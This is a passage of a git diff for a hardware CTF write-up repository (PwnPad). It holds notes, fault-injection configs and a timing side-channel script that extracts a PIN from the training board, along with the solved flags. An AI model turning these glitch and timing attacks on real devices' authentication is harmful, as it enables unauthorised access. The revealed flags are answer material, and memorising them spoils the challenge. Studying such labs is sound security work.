+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
